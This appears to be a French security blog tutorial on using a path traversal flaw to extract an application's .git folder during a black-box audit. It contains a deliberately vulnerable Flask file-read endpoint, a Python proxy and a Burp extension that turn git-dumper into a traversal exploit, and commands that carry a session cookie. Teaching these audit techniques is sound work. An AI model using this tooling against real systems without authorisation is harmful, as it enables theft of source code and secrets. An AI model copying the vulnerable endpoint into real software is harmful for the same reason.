Dans le cadre d’un audit de sécurité d’un site web, il est courant de ne pas avoir accès au code source de l’application auditée (boîte noire). Cette situation est souvent contraignante, car le temps limité de l’audit peut être gaspillé sur des fonctionnalités qui auraient pu être rapidement analysé avec un accès au code source. Dans ce contexte, une des priorités des auditeurs est de trouver un moyen de récupérer le code en production.
Pour ce faire, les vulnérabilités de type Path Traversal sont idéales. Elles permettent d’accéder au système de fichiers du serveur hébergeant l’application web. Néanmoins, une fois la vulnérabilité identifiée, l’extraction complète de l’application peut s’avérer complexe.
Récupérer le code de l’application
Il est rare de pouvoir lister les fichiers présents dans une application externe. Par conséquent, il est possible que des fichiers soient omis par l’auditeur. Une technique efficace est l’extraction du dossier .git. Exposer ce dossier est connu pour être risqué, mais quand celui-ci n’est pas accessible directement depuis internet, il est possible de le récupérer à l’aide de path traversal. Cela permet de récupérer l’intégralité du code source de l’application.
De plus, Git est utilisé par presque toutes les applications web pour suivre les modifications, faciliter le travail collaboratif, gérer les branches et s’intégrer avec des outils de déploiement et d’intégration continue.
Pour identifier l’emplacement de ce dossier, il est possible d’énumérer les fichiers du site web à l’aide d’outils comme ffuf, dirsearch ou gobuster. Une autre méthode serait de fuzzer notre path traversal avec des chemins connus tels que .git/HEAD
ou encore .git/INDEX
.
Des outils comme git-dumper
existent déjà pour l’extraction des différents fichiers git. Cependant, ceux-ci sont conçus pour des dossiers exposés sans contrôle d’accès.
Si notre vulnérabilité se trouve dans un paramètre GET
et renvoie uniquement le page souhaité, alors l’extraction se fait aisément. Il suffit de passer l’URL complète en lui spécifiant les paramètres vulnérables à la suite de celle-ci. De plus, git-dumper possède une option -H
permettant d’ajouter des en-têtes à nos requêtes HTTP nous facilitant ainsi les extractions de manière authentifiée en ajoutant des cookies.
git-dumper 'https://vuln-website/admin/download.php?Path=/.git' output -H "Cookie=PHPSESSID=8bcc4d3d57dcc76fa46b108fac7443b6"
Néanmoins, si notre vulnérabilité retourne des données supplémentaires de celles souhaitées ou si elle est exploitable via une requête POST
, alors l’extraction devient plus complexe à mettre en œuvre.
Plusieurs solutions s’offrent à nous, nous pouvons :
- Développer un script pour récupérer et extraire le
.git
via notre path traversal. - Patcher
git-dumper
afin de prendre en compte notre contexte précis. - Développer un proxy HTTP pour réécrire la requête de
git-dumper
. - Utiliser le proxy de Burpsuite.
La première solution semble compliquée à mettre en place et des outils existent déjà. Le code de git-dumper
n’est pas facilement patchable, en effet, il invoque le module requests
à plusieurs endroits ce qui implique de modifier plusieurs endroits du code. De plus, cette seconde solution n’est pas modulable ni adaptable rapidement pour des cas similaires.
L’utilisation de serveurs proxies HTTP paraît donc plus adapté.
Dans cet article, nous mettrons en place un proxy HTTP from scratch à l’aide de python, puis en utilisant l’outil BurpSuite.
Pour illustrer l’extraction du code, j’ai mis en place le serveur HTTP vulnérable suivant :
from flask import Flask, request, render_template
from base64 import b64encode
import os
app = Flask(__name__)
@app.route('/get_file', methods=['POST'])
def get_file():
path = request.form.get('path')
if not path or not os.path.exists(path):
return ''
with open(path, 'rb') as f:
return f'<div id="output">{b64encode(f.read()).decode("utf-8")}</div>'
@app.route('/')
def home():
return render_template('index.html')
if __name__ == '__main__':
app.run(debug=True, port=5000)
Cette application prend en paramètre path
un chemin vers un fichier et renvoie son contenu encodé en base64.
Un dossier .git
est par ailleurs initialisé à la racine de l’application :
git init .
git add .
git commit -m "add files"
Voici l’arborescence de notre application vulnérable :
.
├── .git
│ ├── branches
│ ├── COMMIT_EDITMSG
│ ├── config
│ ├── description
│ ├── HEAD
│ ├── hooks
│ │ ├── applypatch-msg.sample
│ │ ├── commit-msg.sample
│ │ ├── fsmonitor-watchman.sample
│ │ ├── post-update.sample
│ │ ├── pre-applypatch.sample
│ │ ├── pre-commit.sample
│ │ ├── pre-merge-commit.sample
│ │ ├── prepare-commit-msg.sample
│ │ ├── pre-push.sample
│ │ ├── pre-rebase.sample
│ │ ├── pre-receive.sample
│ │ ├── push-to-checkout.sample
│ │ ├── sendemail-validate.sample
│ │ └── update.sample
│ ├── index
│ ├── info
│ │ └── exclude
│ ├── logs
│ │ ├── HEAD
│ │ └── refs
│ │ └── heads
│ │ └── master
│ ├── objects
│ │ ├── 41
│ │ │ └── dfba21d84134552ca00e840dda205f958459b4
│ │ ├── 4d
│ │ │ └── 462d011937b4589f9c973cbb424a98366d6909
│ │ ├── 6a
│ │ │ └── ef13e1bc8a3450e0b15e24374788648a4f5b86
│ │ ├── 6d
│ │ │ └── 7f98e11c64d9e3439b3474aa49370b1932d2d5
│ │ ├── b4
│ │ │ └── 4880118b949022ee59f8736fb4fa7ffd15e952
│ │ ├── info
│ │ └── pack
│ └── refs
│ ├── heads
│ │ └── master
│ └── tags
├── main.py
└── templates
└── index.html
Proxy HTTP en python
La première chose à faire est d’écrire une fonction exploitant notre path traversal. Le module requests
de Python nous permet de le faire rapidement.
import requests
from bs4 import BeautifulSoup
from base64 import b64decode
def exploit_path_trav(filename: str) -> str:
r = requests.post("http://localhost:5000/get_file", data={"path": filename})
soup = BeautifulSoup(r.text, 'html.parser')
result = soup.find(id='output')
if result:
return b64decode(result.text).decode()
return ''
Par la suite, nous pouvons créer notre serveur proxy à l’aide de la bibliothèque http.server
native de python. Ce proxy va intercepter toutes les requêtes vers le domaine extractor.local
puis récupérer le chemin spécifié dans l’URL et renvoyer le résultat de notre fonction.
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse
from base64 import b64decode
class ProxyHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.headers['Host'] == 'extractor.local':
parsed_url = urlparse(self.path)
self.handle_request(parsed_url.path)
def handle_request(self, path):
result = self.exploit_path_trav(path)
if result:
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(result.encode())
else:
self.send_error(404)
def exploit_path_trav(self, filename: str) -> str:
r = requests.post("http://localhost:5000/get_file", data={"path": filename})
soup = BeautifulSoup(r.text, 'html.parser')
result = soup.find(id='output')
if result:
return b64decode(result.text).decode()
return ''
if __name__ == '__main__':
server_address = ('', 1337)
print(f'Starting proxy on port 1337...')
httpd = HTTPServer(server_address, ProxyHTTPRequestHandler)
httpd.serve_forever()
Nous pouvons maintenant configurer notre proxy HTTP dans bash et extraire notre dossier à l’aide de git-dumper
.
export http_proxy=http://localhost:1337
git-dumper http://extractor.local/.git/ output_dir
De cette manière, il est facilement possible d’extraire le dossier .git
peu importe son format de sortie.
Proxy HTTP de BurpSuite
Afin de pouvoir modifier les requêtes et réponses dans notre proxy, la solution qui m’a semblé être adéquate fut d’écrire une extension. Ce fut ma première extension Burpsuite et j’en ai conclu deux choses :
- La documentation de l’api de Burpsuite est adapté pour java, mais beaucoup moins pour jython.
- Jython peut s’avérer limitant, car il est restreint à du code pour python2, plusieurs fonctionnalités usuelles ne sont donc pas supportées dû à la transpilation vers du code Java.
Voici néanmoins le code de l’extension :
# -*- coding: utf-8 -*-
from burp import IBurpExtender
from burp import ITab
from java.io import PrintWriter
from burp import IProxyListener
import re
import base64
class BurpExtender(IBurpExtender,IProxyListener):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("git dumper proxy")
# obtain our output stream
self._stdout = PrintWriter(callbacks.getStdout(), True)
# register ourselves as a Proxy listener
callbacks.registerProxyListener(self)
self._stdout.println("Extension is Loaded")
def processProxyMessage(self, messageIsRequest, message):
self._stdout.println(
("Proxy request to " if messageIsRequest else "Proxy response from ") +
message.getMessageInfo().getHttpService().toString())
messageInfo=message.getMessageInfo()
http_service = messageInfo.getHttpService()
if messageIsRequest:
request_str = messageInfo.getRequest().tostring()
# Regex to match the request pattern
pattern = r'GET (.*) HTTP\/[0-9]\.[0-9]\r\nHost: extractor\.local'
match = re.search(pattern, request_str)
if match:
# on récupère le path de notre regex
path = match.group(1)
# on passe notre path en paramètre GET.
new_body = "path=./"+path
# les nouveaux headers vers notre host vulnérable
new_headers = [
"POST /get_file HTTP/1.1",
"Host: localhost:5000",
"User-Agent: curl/8.8.0",
"Accept: */*",
"Content-Length: "+str(len(new_body)),
"Content-Type: application/x-www-form-urlencoded",
"Connection: close"
]
# on change également la target vers notre domaine vulnérable
new_http_service = self._helpers.buildHttpService("localhost", 5000, False)
messageInfo.setHttpService(new_http_service)
new_request = self._helpers.buildHttpMessage(new_headers, new_body)
# on update notre nouvelle requete
messageInfo.setRequest(new_request)
else:
# si la réponse provient de notre host vulnérable, alors on la modifie
if http_service.getHost() == "localhost" and http_service.getPort() == 5000:
response = messageInfo.getResponse()
analyzedResponse = self._helpers.analyzeResponse(response)
# on réucpère le contenu de la reponse
body = response[analyzedResponse.getBodyOffset():].tostring()
# BeautifulSoup non supporté par jython, donc j'ai utiliser un regex
pattern = r'<div.*>(.*)</div>'
match = re.search(pattern, body)
# on récupère et décode notre leak de fichier
if match:
new_body = base64.b64decode(match.group(1))
else:
new_body = ''
# mettre le content type en text/plain, sinon git-dumper chouine qu'il reçoit de l'html
headers = [
"HTTP/1.1 200 OK",
"Content-Type: text/plain",
"Content-Length: " + str(len(body)),
]
new_response = self._helpers.buildHttpMessage(headers, new_body)
# Update the response in the messageInfo
messageInfo.setResponse(new_response)
Une fois l’extension chargée dans BurpSuite, il suffit ensuite de définir notre proxy HTTP comme précédemment et lancer notre git-dumper.
export http_proxy=http://localhost:8080
git-dumper http://extractor.local output
Conclusion
L’utilisation d’une vulnérabilité de type path traversal pour extraire un dépôt .git
peut se révéler une stratégie efficace lors d’un audit de sécurité en boîte noire. Grâce à un proxy HTTP personnalisé, il est possible d’adapter les outils existants pour extraire les données sensibles, même lorsque la vulnérabilité est exploitable via des paramètres spécifiques dans des contextes inhabituels.